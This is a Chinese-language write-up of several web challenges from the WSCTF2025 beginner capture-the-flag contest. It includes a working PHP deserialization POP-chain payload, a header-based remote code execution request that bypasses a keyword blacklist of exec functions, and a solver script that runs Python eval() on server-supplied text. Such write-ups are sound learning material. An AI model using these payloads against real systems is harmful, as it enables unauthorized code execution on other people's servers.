WSCTF2025题解

也是一个新生赛,国庆期间我觉得可能出题比较好的一个比赛,难易类型的题目都有,还是有学习的价值的

ez_qiandao

1
访问/index.html,这是base64吗,咦不对!(记得用flag包裹哦)

有点难绷,这道题扫出一个1.php,访问直接拿到flag了

正常做吧,先访问/index.html,是一个计算的页面,看看前端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<script>
function checkAnswer() {
const input = document.getElementById('inputField').value.trim();
const resultDiv = document.getElementById('result');
const errorDiv = document.getElementById('error');


resultDiv.textContent = '';
errorDiv.textContent = '';

if (input === 'wsctf') {

fetch('1.php')
.then(response => response.text())
.then(data => {

const flagMatch = data.match(/flag\{(.+)\}/);
if (flagMatch && flagMatch[1]) {
const flagContent = flagMatch[1]; // Extract 1e_and_2Z_Js
const encoded = customBase64Encode(flagContent);
const swapped = swapAdjacentChars(encoded);
resultDiv.textContent = `flag: ${swapped}`;
} else {
errorDiv.textContent = '服务器返回格式错误';
}
})
.catch(error => {
errorDiv.textContent = '请求失败: ' + error.message;
});
} else {
errorDiv.textContent = '答案错误,请再试试!';
}
}

function customBase64Encode(str) {
const base64Chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
let result = '';
let i = 0;

while (i < str.length) {
const char1 = str.charCodeAt(i++);
const char2 = i < str.length ? str.charCodeAt(i++) : NaN;
const char3 = i < str.length ? str.charCodeAt(i++) : NaN;

const enc1 = char1 >> 2;
const enc2 = ((char1 & 3) << 4) | (char2 >> 4);
const enc3 = isNaN(char2) ? '=' : ((char2 & 15) << 2) | (char3 >> 6);
const enc4 = isNaN(char3) ? '=' : char3 & 63;

result += base64Chars.charAt(enc1) + base64Chars.charAt(enc2) +
base64Chars.charAt(enc3) + base64Chars.charAt(enc4);
}

return result;
}
function swapAdjacentChars(str) {
let result = '';
for (let i = 0; i < str.length; i += 2) {
if (i + 1 < str.length) {
result += str[i + 1] + str[i];
} else {
result += str[i];
}
}
return result;
}
</script>

这里传进一个wsctf就能进入逻辑,会请求1.php拿flag,但是返回的flag是经过处理的

1
2
3
const encoded = customBase64Encode(flagContent);
const swapped = swapAdjacentChars(encoded);
resultDiv.textContent = `flag: ${swapped}`;

先是base64编码,然后有一个移位函数

1
2
3
4
5
6
7
8
9
10
11
12
function swapAdjacentChars(str) {
let result = '';
for (let i = 0; i < str.length; i += 2) {
if (i + 1 < str.length) {
result += str[i + 1] + str[i];
} else {
result += str[i];
}
}
return result;
}
12345

这里的话就是相邻两个字符换一下位置,再执行一次就能换回来了

image-20251005172417911

然后base64解密就能拿到flag的内容了,记得有flag{}包裹起来

ez_php

常规扫目录

1
2
3
4
5
6
7
8
[17:26:26] Scanning:
[17:26:34] 403 - 288B - /.php
[17:26:34] 403 - 289B - /.php3
[17:26:54] 200 - 0B - /flag.php
[17:26:56] 200 - 5KB - /index.php
[17:26:57] 200 - 5KB - /index.php/login/
[17:27:06] 403 - 297B - /server-status
[17:27:06] 403 - 298B - /server-status/

访问/index.php拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
highlight_file(__FILE__);
class A1
{
public $a1;
public function __construct()
{
echo "v50 Crazy Thursday v+flag";
}
public function __wakeup()
{
$this->a1->get_flag();
}
}
class A2
{
public $a2 = '10086';
public function get_flag()
{
echo "flag{" . $this->a2 . "}";
}
}
class A3
{
public $a3;
public function __toString()
{
$this->a3->fun();
return " you can + 772019189 to ask answer";
}
}
class A4
{
public $a4;
public function fun()
{
if ($_GET["2025"]==="admin"){
echo "very easy not hard";
system("cat ./flag.php");
echo $cmflag;
}
}
}
if (isset($_GET["wlaq"])){
@unserialize($_GET["wlaq"]);
}

很简单,直接打就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class A1
{
public $a1;
}
class A2
{
public $a2;
}
class A3
{
public $a3;
}
class A4
{
public $a4;
}
$a = new A1();
$a -> a1 = new A2();
$a -> a1 -> a2 = new A3();
$a -> a1 -> a2 -> a3 = new A4();
echo urlencode(serialize($a));
1
?wlaq=O%3A2%3A%22A1%22%3A1%3A%7Bs%3A2%3A%22a1%22%3BO%3A2%3A%22A2%22%3A1%3A%7Bs%3A2%3A%22a2%22%3BO%3A2%3A%22A3%22%3A1%3A%7Bs%3A2%3A%22a3%22%3BO%3A2%3A%22A4%22%3A1%3A%7Bs%3A2%3A%22a4%22%3BN%3B%7D%7D%7D%7D&2025=admin

小猿口算

计算的,写个脚本就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests

url1 = "http://160.30.231.222:33416/generate"
url2 = "http://160.30.231.222:33416/verify"

def get_html(url1,url2):
session = requests.Session()
response = session.get(url1)

#获取表达式
data = response.json()
data_expr = data["expression"]
print(data_expr)
#计算表达式
clean_expr = data_expr.replace("=?", "").strip()
result = eval(clean_expr)

#发送请求
headers = {
"Content-Type": "application/json",
}
data = {
"user_input" : result,
}
response2 = session.post(url=url2, json=data, headers=headers)
print(response2.text)



if __name__ == '__main__':
get_html(url1,url2)

def?void?

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
if(isset($_GET['i'])){
switch(strtolower(substr($_GET['i'],0,6))){
default:
if(!preg_match('/php|flag|zlib|ftp|system|shell_exec|exec|file_get_contents|proc_open|fopen|fgets|file_put_contents|file|fread|readfile|stream_get_contents|cat|more|tac|\:|\]|\[|\+|\-|\*|\eval|\^|\`|\"|\<|\>|\\|\/|\ssh/i',$_GET['i'])){
eval($_GET['i']);
}else{
die('error');
}break;
}
}

这里需要注意一个点就是这里的\eval并没有真的过滤掉eval,可能是语法的错误导致的吧,所以可以打无参数RCE中的请求头RCE

1
2
3
4
5
6
7
8
9
10
11
12
GET /?i=eval(pos(getallheaders())); HTTP/1.1
Poc: system('whoami');
Host: 160.30.231.222:33417
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: session=eyJnZW5lcmF0ZWRfYXQiOjE3NTk2NTg0NDguMzA1MjQyNSwidG90YWwiOjI0NX0.aOJB0A.fWA74QTbGJGCmFGas0N2ocrGaYQ
Connection: keep-alive


绷不住了,flag找了好一会,后面才发现题目提示flag在哪了

大乐透

一个转盘,估计又是跟前端有关的,先分析一下前端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<script>
async function start() {
if (isRunning) {
console.warn('Spinning already in progress...');
return;
}
isRunning = true;
document.querySelector('.start').disabled = true;
try {
const response = await fetch('/spin', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
const result = await response.json();
spinResult = result;
if(result.flagContent) {
currentPrizeIndex = list.findIndex(prize => prize.title === "Grand Prize");
} else {
currentPrizeIndex = list.findIndex(prize => prize.title === result.title);
}
console.log('Won:', result.title);
var sectorCenter = currentPrizeIndex * perAngle + perAngle / 2;
var randomRounds = Math.floor(Math.random() * 3) + 3;
rotate = randomRounds * 360 - sectorCenter + 30;
main.style.transform = 'rotate(' + rotate + 'deg)';
fallbackTimer = setTimeout(function () {
if (isRunning) {
console.warn('transitionend did not trigger, executing fallback end()');
end();
}
}, 2100);
} catch (error) {
console.error('Error spinning the wheel:', error);
end();
}
}
function end() {
clearTimeout(fallbackTimer);
isRunning = false;
document.querySelector('.start').disabled = false;
var winner = list[currentPrizeIndex];
document.querySelector('.winner').textContent = 'Winner: ' + winner.title;
console.log('Final Result:', winner.title);
if (winner.title === "Grand Prize" && spinResult.flagContent) {
showMessage(spinResult.flagContent);
} else {
switch (winner.title) {
case 'Fifth Prize':
showMessage('你抽到了大奖可爱dhgg!可来南信大领取');
break;
case 'Fourth Prize':
showMessage('继续来!');
break;
case 'Third Prize':
showMessage('恭喜三等奖!');
break;
case 'Second Prize':
showMessage('差点');
break;
case 'First Prize':
showMessage('flag在前端?o.O?');
break;
default:
showMessage('Unknown Prize');
}
}
}
function showMessage(message) {
alert(message);
}
window.onload = fetchPrizes;
</script>

如果 flagContent 存在(特殊奖项),就认为是“Grand Prize”,并且会打印flag的内容